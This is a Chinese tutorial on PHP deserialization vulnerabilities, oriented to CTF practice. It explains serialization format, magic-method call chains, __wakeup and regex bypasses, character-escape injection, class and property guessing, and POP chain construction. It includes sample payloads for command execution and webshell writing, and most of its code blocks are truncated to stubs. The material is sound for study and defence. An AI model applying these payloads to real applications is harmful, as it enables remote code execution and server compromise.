PHP反序列化漏洞:从原理到实战

PHP反序列化漏洞:从原理到实战
Aurorp1g一、序列化与反序列化基础
1.1 什么是序列化与反序列化
在深入探讨PHP反序列化漏洞之前,我们首先需要理解序列化与反序列化的基本概念。从本质上来说,序列化(Serialization) 就是将数据转化成一种可逆的数据结构的过程,而反序列化(Deserialization) 则是将这种已转换的数据结构重新还原为原始数据对象的过程。这两个过程就像生活中的打包和拆包一样普通而重要。
为了帮助读者更直观地理解这个概念,我们可以借用一个日常生活中常见的例子——网购家具的运输过程。当我们在淘宝上购买一张桌子时,由于桌子这种不规则的大件物品很难直接从一座城市运输到另一座城市,商家通常会将其拆解成一块块木板,然后装入箱子中进行快递运输。这个”拆解并打包”的过程就类似于序列化——我们将复杂的数据结构转换成可以方便存储和传输的形式。当买家收到货物后,需要将这些木板重新组装成桌子的样子,这个”拆包并组装”的过程就对应着反序列化——我们将序列化后的数据重新还原成原始的数据对象。
在PHP语言中,序列化和反序列化的操作主要通过两个核心函数来完成。serialize()函数负责将对象或数组等复杂数据类型格式化成有序的字符串,而unserialize()函数则负责将这些字符串还原成原来的对象或数组。这两个函数的存在使得PHP程序能够在不同的请求之间保存和传递复杂的数据结构,大大增强了PHP的灵活性和实用性。
序列化的主要应用场景包括以下几个方面:
数据持久化存储:当需要将对象数据保存到文件或数据库中时,直接保存对象结构是不现实的。通过序列化,可以将对象转换为一个可以永久存储的字符串格式,下次使用时再反序列化还原。
跨脚本数据传递:在不同的PHP脚本之间传递复杂数据时,直接传递对象是不可能的。序列化后的字符串可以通过GET/POST参数、Cookie、Session等方式方便地传递。
缓存机制:在PHP应用中,序列化的数据经常被用作缓存。开发者可以将复杂计算的结果序列化后存储到Redis、Memcached等缓存系统中,下次需要时直接反序列化获取,大幅提升系统性能。
Session会话存储:PHP的Session机制底层就是依赖序列化实现的。用户会话数据被序列化后存储在服务器端,浏览器通过Session ID来识别和检索对应的会话数据。
1.2 PHP序列化格式详解
理解PHP的序列化格式是掌握反序列化漏洞的前提。PHP的序列化格式是一种简洁而紧凑的数据表示方式,每种数据类型都有其独特的表示方法。让我通过详细的表格和示例来逐一讲解各种数据类型的序列化表示:
基础数据类型序列化格式:
| 数据类型 | 格式 | 示例 | 说明 |
|---|---|---|---|
| 整型(Integer) | i:数值; | i:42; | 表示整数值 |
| 浮点型(Double) | d:数值; | d:3.14; | 表示浮点数值 |
| 字符串(String) | s:长度:”值”; | s:5:”hello”; | s后面是字符串长度,然后是实际值 |
| 布尔型(Boolean) | b:0或1; | b:1; | 1表示true,0表示false |
| NULL | N; | N; | 表示空值 |
复合数据类型序列化格式:
数组的序列化格式为a:数量:{键值对}。以一个包含三个元素的数组为例:
1 |
|
输出结果为:a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
逐项解析这个输出:a:3表示这是一个数组,包含3个元素。{i:0;s:4:"xiao";}中,i:0表示数组下标0,s:4:"xiao"表示该位置存储的是一个长度为4的字符串”xiao”。以此类推,下标1和下标2的元素也是类似的表示方法。
对象的序列化格式为O:类名长度:"类名":属性数量:{属性列表}。来看一个对象的序列化例子:
1 |
|
输出结果为:O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}
这里需要特别注意几个要点:首先,序列化后的内容只包含成员变量,不包含成员函数。这是因为函数是类的行为定义,存储在代码中,而不是对象的实例数据中。序列化只能保存对象在特定时刻的状态数据,所以只会保存$a和$b这两个公有属性,而happy()函数不会被包含在序列化字符串中。其次,O表示Object(对象),4表示类名”test”的长度,2表示该对象有2个属性。
访问修饰符对序列化的影响:
PHP中的属性可以有三个访问修饰符:public(公有)、protected(受保护)和private(私有)。不同的访问修饰符在序列化时会产生不同的格式:
1 |
|
如果直接在浏览器中查看输出,会发现一些不可见字符消失了,结果可能显示为:
1 | O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";} |
这是因为protected属性在序列化时会在变量名前加上\x00*\x00(三个字节,其中\x00是ASCII码为0的不可见字符),而private属性会加上\x00类名\x00(类名前后各有一个\x00)。这些\x00字符在浏览器输出或直接打印时会被隐藏或显示为乱码。
为了正确处理这些不可见字符,通常需要使用以下方法:
URL编码:使用
urlencode()或rawurlencode()函数对序列化结果进行编码,这样可以完整保留所有特殊字符。Base64编码:使用
base64_encode()函数编码,虽然会增大数据量,但兼容性更好。十六进制表示:在某些情况下,可以手动将
\x00表示为\00或%00等形式。
1.3 反序列化的过程与风险
当我们调用unserialize()函数时,PHP会经历一个复杂而精密的处理过程。简单来说,这个过程包括以下几个步骤:
第一步:字符串解析。PHP引擎首先会解析序列化字符串的格式,验证其是否符合PHP的序列化语法规范。如果格式不正确,PHP会抛出类似unserialize(): Error at offset...的错误。
第二步:类型识别。PHP识别出序列化字符串表示的数据类型(整型、字符串、数组、对象等)。
第三步:对象实例化。如果是对象类型,PHP会根据类名查找并加载对应的类定义。如果类不存在且没有启用允许任意类自动加载的选项,反序列化会失败。
第四步:属性填充。PHP会为对象实例填充序列化字符串中指定的属性值。
第五步:魔术方法触发。根据反序列化的上下文和环境,可能触发各种魔术方法,如__wakeup()、__destruct()等。
第六步:返回结果。反序列化完成,返回原始的数据对象或值。
为什么反序列化会产生安全漏洞?
反序列化漏洞产生的根本原因在于:反序列化后的对象可以是任意的,攻击者可以控制对象的属性值,从而影响程序的执行流程。当程序中存在某些”危险”的代码路径时,攻击者精心构造的序列化字符串可以触发这些代码路径,造成信息泄露、文件操作甚至远程代码执行等严重后果。
具体来说,漏洞产生的两个必要条件是:
条件一:unserialize()的参数可控。这意味着攻击者能够通过某种方式向unserialize()函数传入自己构造的序列化字符串。这个参数可能来自GET/POST请求参数、Cookie、Session、数据库、文件等任何用户可控的输入源。
条件二:代码中存在可以利用的” gadget”。Gadget是指代码中存在的、可以被串联起来形成攻击链的代码片段。典型的gadget包括:
- 魔术方法中存在危险操作,如
eval($this->code)、system($this->cmd)、include($this->file)等 - 类的普通方法中存在危险操作,且该方法可以被某种方式调用
- 存在文件操作函数、命令执行函数等危险函数的调用
举一个简单的对象注入漏洞示例:
1 |
|
在这个例子中,虽然类A的$test属性默认值是"y4mao",但通过反序列化注入,我们成功将$test的值覆盖为"maomi"。当脚本运行结束或对象被销毁时,__destruct()方法会被自动调用,输出我们注入的值。虽然这个例子只是简单地覆盖了一个输出字符串,但在更复杂的场景中,攻击者可以通过精心构造的属性值触发更危险的代码执行路径。
二、魔术方法:反序列化的触发引擎
2.1 PHP魔术方法全览
在PHP中,魔术方法(Magic Methods)是一类具有特殊功能的特殊方法,它们以双下划线(__)开头,在特定的时机自动被PHP引擎调用。这些魔术方法是理解反序列化漏洞的关键,因为反序列化漏洞的利用很大程度上依赖于找到合适的魔术方法来作为”入口点”或”跳板”,串联起整个攻击链。
PHP中的主要魔术方法及其触发时机如下表所示:
| 魔术方法 | 触发时机 | 参数说明 | 典型用途 |
|---|---|---|---|
__construct() | 对象创建时 | 无 | 初始化操作 |
__destruct() | 对象销毁时 | 无 | 清理、资源释放 |
__call() | 调用不存在的方法时 | $name方法名, $arguments参数 | 方法拦截、动态代理 |
__callStatic() | 静态调用不存在的方法时 | $name方法名, $arguments参数 | 静态方法拦截 |
__get() | 读取不存在或不可访问的属性时 | $name属性名 | 属性访问拦截 |
__set() | 写入不存在或不可访问的属性时 | $name属性名, $value属性值 | 属性写入拦截 |
__isset() | 对不可访问属性使用isset()或empty()时 | $name属性名 | 属性状态检查拦截 |
__unset() | 对不可访问属性使用unset()时 | $name属性名 | 属性删除拦截 |
__toString() | 对象被当作字符串使用时 | 无 | 字符串转换 |
__invoke() | 对象被当作函数调用时 | 传入的参数 | 函数式调用 |
__sleep() | serialize()执行前 | 无 | 指定要序列化的属性 |
__wakeup() | unserialize()执行前 | 无 | 反序列化后初始化 |
2.2 反序列化中的关键魔术方法详解
在反序列化攻击中,某些魔术方法因为其自动触发的特性而显得尤为重要。让我详细解析这些关键魔术方法的原理和利用方式:
__destruct():对象销毁的自动回调
__destruct()方法在对象被销毁时自动调用。对象的销毁可能发生在以下几种情况:
- 脚本执行完毕,所有对象被销毁
- 对象的所有引用被删除(如
unset($obj)) - 对象被显式赋值覆盖(如
$obj = new A(); $obj = null;) - 数组元素被删除
这是反序列化攻击中最常见的入口点之一,因为只要我们构造的反序列化对象存在,当脚本结束时就会触发__destruct(),从而执行其中的代码。
一个典型的利用场景是:
1 |
|
只要我们构造O:4:"Evil":1:{s:3:"cmd";s:2:"id";}并传入,就能在服务器上执行id命令。
__wakeup():反序列化的自动回调
__wakeup()方法在调用unserialize()时自动执行,通常用于进行一些初始化或反序列化后的清理工作。这个魔术方法虽然常见,但有时候也会成为漏洞的阻碍——例如有些代码会在__wakeup()中清除我们想要利用的属性值。
不过,__wakeup()也有其利用价值,因为它本身就是一个反序列化入口,可以在这里执行任意代码。
__toString():字符串转换的陷阱
当对象被当作字符串使用时,会自动触发__toString()方法。对象被当作字符串使用的场景包括:
- 使用
echo或print输出对象 - 对象与字符串进行拼接操作
- 对象作为字符串函数的参数
- 对象在字符串格式化中使用(如
sprintf("%s", $obj)) - 对象与字符串进行比较
一个利用__toString()的场景示例:
1 |
|
如果我们能让$this->content成为一个FileReader对象,当__destruct()中的echo语句执行时,就会触发FileReader的__toString()方法,从而读取任意文件。
__call()与__callStatic():方法调用的兜底
当在对象上下文(非静态方法)或静态上下文中调用一个不存在的方法时,会分别触发__call()和__callStatic()方法。这两个魔术方法可以让我们拦截所有对未定义方法的调用,是构造POP链的重要中间环节。
1 |
|
如果我们能控制$this->callback,就能调用任意函数。结合一些危险函数如system()、exec()等,就可能实现命令执行。
__get()与__set():属性访问的拦截
当尝试读取一个不存在或不可访问的属性时,会触发__get()方法;当尝试写入一个不存在或不可访问的属性时,会触发__set()方法。这两个魔术方法可以用于实现动态属性、惰性加载等设计模式,但也可能成为漏洞的入口。
一个典型的利用场景是链式属性访问:
1 |
|
在这里,如果我们能控制$this->p为一个包含危险函数的对象,就可以触发一连串的调用。
__invoke():对象函数化
当尝试将对象当作函数调用时,会触发__invoke()方法。这个魔术方法为对象提供了一种”可调用对象”的能力,在某些设计模式中很有用。
结合__get()和__invoke(),我们可以看到一个典型的POP链模式:
1 |
|
2.3 魔术方法调用链示例
让我们通过一个完整的例子来理解如何将多个魔术方法串联起来,形成从反序列化到任意文件读取的调用链:
1 |
|
调用链分析:
入口点:
unserialize()触发Show类的__wakeup()(虽然这里被preg_match阻止了,但我们可以绕过)第一跳:
Show对象的__destruct()或字符串操作触发__toString()第二跳:
__toString()中访问$this->str->source,由于$this->str是一个Test对象,而source是Test的不可访问属性,触发Test::__get('source')第三跳:
__get()方法中$function = $this->p; return $function();将$p当作函数调用,触发Modifier::__invoke()终点:
__invoke()方法调用append($this->var),而append()方法中存在include($value),实现了任意文件包含
整个调用链可以简单地表示为:
1 | __wakeup/__destruct → __toString → __get → __invoke → append(include) |
三、反序列化绕过技巧
3.1 PHP 7.1+类属性不敏感
在PHP 7.1版本之前,序列化字符串中的属性名必须严格按照访问修饰符的要求来编写。protected属性必须包含\x00*\x00前缀,private属性必须包含\x00类名\x00前缀。如果这些前缀缺失或错误,属性值将无法正确匹配到对应的类属性。
然而,从PHP 7.1开始,PHP对类属性的访问控制变得不那么严格了。即使在序列化字符串中省略了protected属性的\x00*\x00前缀,或者private属性的\x00类名\x00前缀,PHP也能正确地将属性值匹配到对应的类属性上。
这个特性在漏洞利用中非常有用。例如,假设我们有如下代码:
1 |
|
在PHP 7.1+环境中,这段代码会正常输出abc,尽管序列化字符串中属性名a没有包含\x00*\x00前缀。这是因为PHP引擎会自动尝试匹配,去掉前缀后如果属性名匹配成功,就会使用该值。
利用场景:
这个特性可以用于绕过某些过滤逻辑。例如,如果代码对序列化字符串进行了某种过滤或修改,但过滤逻辑没有正确处理\x00字符,我们就可以利用PHP 7.1+的属性不敏感性来绕过。
注意事项:
- 这个特性只对PHP 7.1及更高版本有效
- 不同的PHP版本在属性匹配的具体行为上可能略有差异
- 在实际渗透测试中,需要先确认目标服务器的PHP版本
3.2 绕过__wakeup(CVE-2016-7124)
__wakeup()方法是反序列化攻击中的一个常见障碍。很多开发者会在__wakeup()方法中添加一些安全检查或初始化操作,这些操作可能会干扰我们的攻击。例如,__wakeup()可能会重置某些我们想要利用的属性值,或者对用户输入进行过滤。
CVE-2016-7124是一个影响PHP 5.6.25之前版本和PHP 7.0.10之前版本的反序列化漏洞。这个漏洞的核心原理是:当序列化字符串中表示对象属性个数的值大于真实的属性个数时,__wakeup()方法不会被执行。
漏洞原理深入分析:
在正常的反序列化过程中,PHP会:
- 读取序列化字符串中的类名
- 读取序列化字符串中的属性个数
- 根据属性个数读取对应的属性名和属性值
- 调用
__wakeup()方法
而在存在漏洞的PHP版本中,如果我们故意将属性个数设置为一个大于实际属性数量的值,PHP会:
- 读取序列化字符串中的类名
- 读取序列化字符串中的属性个数(但这个值被篡改过)
- 跳过属性读取(因为属性个数不匹配)
- 跳过
__wakeup()的调用
受影响的PHP版本:
- PHP 5.6.25 之前的所有 5.6.x 版本
- PHP 7.0.10 之前的所有 7.0.x 版本
利用方式示例:
考虑以下代码:
1 |
|
如果正常反序列化O:4:"test":1:{s:1:"a";s:3:"abc";},输出会是666,因为__wakeup()会重置$a的值。
但如果我们修改属性个数为2(实际属性只有1个),得到O:4:"test":2:{s:1:"a";s:3:"abc";},则__wakeup()不会被调用,输出会是abc。
修复方式:
升级PHP到5.6.25+或7.0.10+版本,或者在__wakeup()方法中添加属性数量的验证逻辑:
1 | public function __wakeup(){ |
3.3 绕过正则检测
在某些CTF题目或实际应用中,开发者可能会使用正则表达式来过滤或检测反序列化字符串,试图阻止反序列化攻击。常见的正则过滤包括:
- 匹配序列化字符串是否以
O:开头(表示对象) - 检测序列化字符串中是否包含敏感关键词
- 匹配对象属性数量的格式
然而,这些正则过滤往往存在各种绕过方式,下面我们来逐一分析:
绕过preg_match(‘/^O:\d+/‘)检测
这种正则检测试图通过检查序列化字符串是否以O:加数字开头来识别对象。如果我们不传一个直接的对象字符串,而是将对象作为数组的元素传入,就可以绕过这个检测。
1 |
|
加号绕过的原理:
正则表达式/^O:\d+/只会匹配O:数字的格式,而不会匹配O:+数字的格式(因为+不在\d字符类中)。但PHP的unserialize()函数能够正确解析O:+4(忽略+符号),将其识别为O:4。
使用数组包裹的原理:
当序列化一个数组时,结果字符串以a:开头(而不是O:),所以不会触发以O:开头的正则检测。在数组内部的元素才是我们要注入的对象,但serialize()函数会将整个数组一起序列化,所以内层的对象会以O:开头存储。
绕过字符串过滤
如果代码检测序列化字符串中是否包含某个关键词(如username),我们可以使用字符串的十六进制表示来绕过:
1 |
|
十六进制绕过的原理:
在PHP的序列化格式中,属性名部分使用大写S(而不是小写s)时,表示使用十六进制转义来表示字符串。具体格式为S:长度:"\XX字符串";,其中\XX是字符的十六进制ASCII码。例如,\75是字符u的十六进制表示(ASCII码75=117=’u’)。
这样,虽然属性名实际上仍然是username,但在正则检测的字符串匹配阶段,它以\75sername的形式存在,所以不会被检测到。
3.4 PHP反序列化字符逃逸
字符逃逸是反序列化漏洞中的一种高级利用技巧。它利用了字符串解析的特性,通过精心构造序列化字符串,使得反序列化引擎在解析时”吃”掉或”吐出”某些字符,从而改变序列化字符串的结构,实现属性注入或逃逸。
核心原理:
PHP的反序列化引擎在解析序列化字符串时,会严格遵循既定的语法规则。当它遇到一个字符串的长度声明(如s:5:"hello")时,它会严格按照声明的长度(5)来读取后续的字符内容。如果实际内容与长度不符,反序列化就会失败。
字符逃逸利用的就是这个特性。我们通过某种”过滤”操作(如str_replace())来改变序列化字符串的长度,使得字符串的边界发生偏移,从而将后面的内容”吞掉”或”吐出”。
情况一:过滤后字符变多
某些过滤器会将特定的字符替换为多个字符,例如将单个x替换为xx。这种替换会导致序列化字符串的长度增加,打破原有的字符串边界。
1 |
|
正常情况下,传入name=mao,序列化结果是:
1 | a:2:{i:0;s:4:"mao";i:1;s:7:"I am 11";} |
现在,如果我们传入name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}(20个x加上我们想要注入的内容),过滤后会发生什么?
1 | a:2:{i:0;s:60:"maoxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}";i:1;s:7:"I am 11";} |
20个x变成了40个x(字符数翻倍),原来用于闭合name字符串的"被”吞掉”了,后续的";i:1;s:6:"woaini";}变成了字符串内容的一部分。而最后剩余的}闭合了数组,后面的";i:1;s:7:"I am 11";}就成了”多余”的内容被忽略。
最终结果:数组的第二个元素(age)被成功覆盖为woaini。
情况二:过滤后字符变少
与上面相反,某些过滤器会将多个字符替换为更少的字符,例如将xx替换为x。这种替换会导致序列化字符串的长度减少,可能”吃掉”后面的内容。
1 |
|
假设我们传入name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(40个x)和age=11。
原始序列化结果:
1 | a:2:{s:4:"name";s:40:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:3:"age";s:2:"11";} |
过滤后(每两个x变成一个x,40个x变成20个x,减少了20个字符):
1 | a:2:{s:4:"name";s:20:"xxxxxxxxxxxxxxxxxxxx";s:3:"age";s:2:"11";s:3:"age";s:6:"woaini";} |
由于name字段声明的长度是40,但过滤后只写了20个字符,后续的";s:3:"age";s:2:"11";s:3:"age";s:6:"woaini";}被”吃掉”了一部分,解析出了两个age属性,第二个覆盖了第一个,最终age的值变成了woaini。
逃逸的通用思路总结:
- 分析过滤规则:找出代码中对序列化字符串进行了什么过滤操作(变多还是变少)
- 计算偏移量:确定需要填充多少”填充字符”来创造空间
- 构造注入内容:将想要注入的属性或对象写入逃逸后的位置
- 闭合语法:确保最终的反序列化字符串语法正确
四、类名与属性爆破
4.1 为什么需要爆破类名
在前面的章节中,我们假设了攻击者已经知道了目标代码中的类名。但在实际的渗透测试或CTF竞赛中,开发者通常不会公开源码,攻击者需要”黑盒”测试来发现漏洞。
在这种情况下,如果我们发现目标代码存在类似这样的漏洞点:
1 |
|
我们面临的最大问题是:不知道类名是什么,无法构造有效的反序列化payload。
这就是为什么需要进行类名爆破的原因。类名爆破是一种在无法获取源码的情况下,通过构造各种可能的类名并观察服务器响应差异来识别服务器端存在哪些类的方法。
4.2 类名爆破方法
核心思路:
当我们向服务器发送一个反序列化请求时,PHP引擎会尝试解析序列化字符串并实例化对应的类。如果类存在,PHP会创建对象实例并执行后续操作;如果类不存在,PHP会抛出错误。
这两种情况的错误信息通常会有明显的差异,我们可以利用这个差异来识别类名。
具体操作:
传输一个基本的对象序列化字符串:
1 | O:<类名长度>:"<类名>":0:{} |
- 如果类名正确:服务器可能会报其他类型的错误(如属性不存在),或者成功触发魔术方法
- 如果类名错误:PHP通常会抛出类似
unserialize(): Error at offset...的错误,因为找不到指定的类
手动爆破示范:
假设我们猜测类名可能是Admin,那么构造payload:
1 | O:5:"Admin":0:{} |
访问URL:
1 | http://target.com/vuln.php?p=O:5:"Admin":0:{} |
观察服务器返回:
- 如果返回
unserialize(): Error at offset 10...之类的错误 → 说明类不存在 - 如果返回其他类型的错误,如
Undefined property: Admin::$xxx或没有任何错误 → 说明类名可能正确
常用爆破字典:
在实际攻击中,我们可以使用以下常见类名进行爆破:
| 类名 | 说明 |
|---|---|
| Admin/admin | 管理员类 |
| User/user | 用户类 |
| Login/login | 登录类 |
| Manager/manager | 管理类 |
| Member/member | 成员类 |
| Guest/guest | 访客类 |
| Test/test | 测试类 |
| Config/config | 配置类 |
| Database/db | 数据库类 |
| Wllm/wllm | CTF题目中的自定义类名 |
| Evil/evil | CTF题目中的邪恶类名 |
| Flag/flag | Flag相关类 |
实战建议:
- 优先级策略:先尝试常见类名(Admin/User/Login),再尝试小写版本(PHP文件名通常小写)
- 信息收集:根据URL、提示词、页面字眼来推测(如有
/admin.php可能存在Admin类) - 源码片段分析:如果有源码片段(如报错信息、变量名),根据命名习惯推测类名
- 组合爆破:将常见前缀和后缀组合,如
AdminController、UserModel等
自动化爆破脚本:
1 | import requests |
4.3 属性名爆破方法
找到了类名只是第一步。很多情况下,仅知道类名还不够,因为漏洞的触发往往依赖于特定属性的赋值。例如,__destruct()方法可能会访问$this->cmd来执行命令,如果我们的payload中没有设置这个属性,就无法利用漏洞。
核心原理:
当我们构造一个反序列化对象时,如果设置的属性名在类中不存在,PHP会如何处理呢?
答案是:PHP会为对象动态创建这个属性。但如果在魔术方法中访问了一个不存在的属性,并且该类没有定义__get()方法,PHP会报一个Undefined property错误。
利用方式:
方法一:猜测属性名,构造payload,看是否报
Undefined property错误- 如果报错中显示了属性名,说明我们猜错了,需要换一个
- 如果不报
Undefined property,说明可能猜对了
方法二:如果报错信息被屏蔽,我们可以尝试不同的属性组合,看最终的效果(如是否有文件包含、命令执行等)
手动爆破示范:
假设已经爆破出类名是Admin,现在要爆破属性名。构造payload:
1 | O:5:"Admin":1:{s:5:"admin";s:5:"admin";} |
解释:
O:5:"Admin":类名是Admin,长度51:对象有1个属性{s:5:"admin";s:5:"admin";}:属性名是”admin”,值是”admin”
发送请求后观察:
- 如果返回
Undefined property: Admin::$admin→ 属性不存在,换一个 - 如果没有这个错误→ 可能属性名猜对了
常用属性名字典:
| 属性名 | 说明 |
|---|---|
| admin | 管理员 |
| user | 用户 |
| passwd/password | 密码 |
| username | 用户名 |
| cmd/command | 命令 |
| file | 文件路径 |
| flag | Flag变量 |
| id | 用户ID |
| role | 角色 |
| auth | 权限 |
| session | 会话 |
| token | 令牌 |
| data | 数据 |
| code | 代码 |
| url | 链接 |
自动化爆破脚本:
1 | import requests |
组合爆破策略:
在更复杂的情况下,可以同时爆破类名和属性名的组合:
1 | import requests |
4.4 爆破的局限性与对策
类名和属性名爆破虽然是一种有效的技术,但也存在一些局限性:
局限性一:错误信息被屏蔽
很多生产环境的代码会禁用错误显示,或者使用自定义错误处理器捕获所有错误。在这种情况下,我们无法从响应中获取有用的错误信息来区分类名是否正确。
对策:
- 尝试触发不同的响应行为(如不同的页面内容、HTTP状态码)
- 使用时间延迟来判断(如不存在的类可能会更快报错)
- 利用SQL注入、XSS等其他漏洞来间接验证
局限性二:自定义错误处理器的影响
有些代码会设置自定义的错误处理器(如set_error_handler()),这可能改变错误信息的格式或完全隐藏错误。
对策:
- 尝试使用
@符号抑制错误(但这通常只对PHP原生错误有效) - 分析代码逻辑,尝试触发其他可观察到的副作用
局限性三:需要大量请求
如果目标类名和属性名比较复杂或冷门,可能需要发送大量请求才能找到正确的组合。
对策:
- 先进行信息收集,尽可能缩小猜测范围
- 使用社工技巧,如根据目标网站的业务特点、命名习惯来猜测
- 使用更智能的字典,如基于常见编程命名规范的字典
五、POP链构造
5.1 POP链概念
在前面几章中,我们讨论的攻击场景主要是利用魔术方法中的直接漏洞。这种攻击方式简单直接,但如果目标代码的关键漏洞代码不在魔术方法中,而是在类的普通方法里,我们应该如何利用呢?
这就是POP链(Property-Oriented Programming,面向属性的编程)登场的时候了。
什么是POP链?
POP链是一种高级的反序列化攻击技术。与传统的反序列化攻击主要依赖魔术方法中的直接漏洞不同,POP链的核心思想是:通过控制对象的属性值,将不同类的属性和方法串联起来,形成一条从入口点到危险操作的调用链。
类比理解:如果把反序列化漏洞比作一把枪,那么POP链就是设计如何将这把枪组装起来并瞄准目标的过程。我们需要找到枪的各个部件(类和方法),然后按照正确的顺序组装(构造属性关系),最后扣动扳机(触发入口点)。
POP链与传统反序列化攻击的区别:
| 特征 | 传统反序列化攻击 | POP链攻击 |
|---|---|---|
| 依赖的代码位置 | 主要在魔术方法中 | 可以在任何类方法中 |
| 利用方式 | 直接利用 | 链式调用 |
| 复杂度 | 相对简单 | 需要构建完整的调用链 |
| 适用场景 | 简单的对象注入 | 复杂的漏洞利用 |
5.2 造链五步法详解
在实际CTF比赛和渗透测试中,我们需要根据已知的源码来构造POP链。造链的过程可以归纳为以下五个步骤:
第一步:入口魔术方法
找到反序列化的入口点——那个会自动触发的魔术方法。在PHP反序列化漏洞中,最常见的入口是:
__destruct():对象销毁时自动触发__wakeup():unserialize()时自动触发__toString():对象被当作字符串使用时触发__call():调用不存在的方法时触发__invoke():对象被当作函数调用时触发
为什么__destruct()是最常用的入口?因为只要反序列化成功创建了对象,当脚本执行完毕或对象被销毁时,__destruct()一定会被调用。
识别入口魔术方法的技巧:
观察代码中是否有:
unserialize()函数的调用- 对象被echo或拼接字符串
- 对象方法被调用(可能触发
__call) - 对象被当作函数调用(触发
__invoke)
第二步:中转传递
找到入口魔术方法后,下一步是找到属性之间的”传递”关系,即如何从入口方法跳转到另一个方法或对象。
典型的中转形式包括:
1 | // 形式1:对象调用方法 |
关键是找到那些可以控制其返回值或行为的属性,因为我们可以通过反序列化来控制这些属性的值。
第三步:敏感函数点
这是POP链的”终点”——能够直接造成危害的函数调用。常见的敏感函数包括:
| 函数类型 | 危险函数 | 危害 |
|---|---|---|
| 命令执行 | system(), exec(), shell_exec(), passthru() | 远程代码执行 |
| 文件包含 | include(), require(), include_once(), require_once() | 任意文件读取/代码执行 |
| 文件读取 | file_get_contents(), fopen(), readfile() | 信息泄露 |
| 文件写入 | file_put_contents(), fwrite() | 写入webshell |
| 文件删除 | unlink(), rmdir() | 破坏性操作 |
| 代码执行 | eval(), assert(), preg_replace(/e) | 任意代码执行 |
第四步:控制属性值
确定了链子的起点(入口)和终点(敏感函数)后,需要”逆流而上”,找出链子中间各个环节需要的属性值。
例如,如果敏感函数是include($this->file),我们就需要控制$this->file的值。
如果这个值需要是一个对象(比如为了触发__toString()),那么我们还需要设置该对象的相应属性。
第五步:拼接payload
最后,将整个链子中的对象用serialize()序列化,并按照需要进行编码。
典型的payload结构:
1 | O:入口类:属性数量:{属性1;属性2;...} |
其中属性可能是基本类型值,也可能是另一个序列化后的对象。
5.3 CTF实战链子案例
让我们通过两个具体的CTF案例来完整理解POP链的构造过程:
案例一:Logger + Upload 文件写入链
源码分析:
1 | class Logger { |
造链过程分析:
第一步:入口:
Logger::__destruct()是入口,调用了file_put_contents($this->logFile, ...)第二步:中转:正常情况下,
$this->logFile应该是一个字符串。但如果我们将它设置为一个Upload对象呢?PHP在调用
file_put_contents()时,如果第二个参数是对象,会触发该对象的__toString()方法,将其转换为字符串!第三步:敏感函数:
file_put_contents()可以将内容写入任意文件第四步:控制属性值
$logFile= 一个Upload对象Upload::$filename= 目标文件路径,如/var/www/html/shell.php
第五步:拼接payload
1 |
|
输出:O:6:"Logger":1:{s:8:"logFile";O:6:"Upload":1:{s:9:"filename";s:22:"/var/www/html/shell.php";}}
案例二:MRCTF2020-Ezpop 完整分析
源码:
1 |
|
逆向分析:
终点:我们想利用
Modifier::append()中的include()来读取文件(如flag.php)倒数第二步:
append()被__invoke()调用倒数第三步:
__invoke()被Test::__get()触发(通过return $function();)倒数第四步:
Test::__get()在访问不存在的属性时被触发倒数第五步:在
Show::__toString()中存在$this->str->source访问,当$this->str是Test对象时,访问source属性会触发Test::__get('source')入口:
Show对象可能在__destruct()或字符串操作中被触发(这里我们绕过__wakeup())
构造payload:
1 |
|
关键点:
Test::$p设置为Modifier对象,调用$p()时触发__invoke()Show::$str设置为Test对象,访问->source时触发__get('source')Show::__toString()被file_put_contents等函数触发- 绕过
__wakeup()使用属性数量不匹配技巧
5.4 常见POP链模式总结
在实际攻击中,有些POP链模式是反复出现的。掌握这些常见模式可以大大提高构造payload的效率:
| 链子模式 | 入口方法 | 中转属性 | 终点函数 | 典型场景 |
|---|---|---|---|---|
| 字符串拼接链 | __toString() | 对象属性 | 任意字符串操作 | 文件读取、命令执行 |
| 方法调用链 | __call() | 对象属性 | 危险函数调用 | RCE |
| 函数调用链 | __invoke() | 对象属性 | 危险函数调用 | 文件包含 |
| 文件操作链 | __destruct() | $filename/$file | 文件读写删除 | webshell写入 |
| 数组访问链 | __get()/__set() | 数组属性 | 数组索引访问 | 数据注入 |
六、Payload生成脚本
6.1 基础payload生成
在实际渗透测试或CTF比赛中,我们通常不需要手动构造序列化字符串。PHP提供了serialize()函数,可以方便地将对象序列化为字符串。
基础payload生成方法:
1 |
|
输出结果(URL编码后):
1 | O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D |
解码后为:
1 | O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} |
为什么要使用urlencode()?
因为直接写序列化字符串到URL中时,很多特殊字符(如:、"、{、})会被浏览器或服务器特殊处理。使用urlencode()可以将这些字符转换为百分号编码,避免解析错误。
| 原始字符 | URL编码 |
|---|---|
| : | %3A |
| “ | %22 |
| { | %7B |
| } | %7D |
| ; | %3B |
| % | %25 |
6.2 嵌套对象的payload生成
当POP链涉及多个类时,需要构造嵌套的对象结构。PHP的serialize()函数可以自动处理这种嵌套关系。
嵌套对象payload生成示例:
1 |
|
输出:
1 | O:6:"Reader":1:{s:4:"note";O:4:"Note":1:{s:7:"content";s:8:"flag.php";}} |
可以看到,序列化字符串中嵌套了另一个对象的序列化结果。
6.3 特殊访问修饰符的payload生成
当类属性使用protected或private修饰符时,序列化字符串中会包含不可见的\x00字符,需要特别注意。
处理protected属性:
1 |
|
原始序列化结果:
1 | O:4:"Test":1:{s:6:" * var";s:6:"secret";} |
这里*实际上代表\x00*\x00(三个字节)。
使用urlencode()后的结果会正确编码这些不可见字符。
处理private属性:
1 |
|
原始序列化结果:
1 | O:4:"Test":1:{s:7:" Test secret";s:6:"hidden";} |
这里中间有一个空格,实际上是\x00Test\x00(中间是类名,两边是\x00)。
编码方式的选择:
